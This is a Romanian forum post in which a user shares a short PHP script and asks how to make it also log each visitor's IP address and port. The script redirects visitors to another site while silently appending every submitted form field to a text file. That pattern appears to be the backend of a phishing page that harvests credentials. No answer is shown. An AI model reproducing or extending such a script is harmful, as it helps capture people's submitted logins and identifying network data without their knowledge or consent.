Jump to content
samko1

Cum sa salvezi ip-ul si portul unui vizitator intr-un fisier text?

Recommended Posts

Cum pot salva ip-ul si portul unui vizitator al "site-ului" meu odata cu datele acestuia intr-un fisier txt.Cu restul datelor stiu cum se face.Dar as vrea sa am incluse si ip,port.Nu vreau sa fie trimise pe mail.Am cautat pe forum dar am gasit doar sa m-i le trimita pe mail.Asa arata scriptul:

<?php

header ('Location: http://www.site.com');

$handle = fopen("logs.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "===============\r\n");

fclose($handle);

exit;

?>

Ce trebuie adaugat pt a-mi salva ce am precizat mai sus?

Multumesc anticipat si imi cer scuze daca nu am postat la categoria potrivita.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...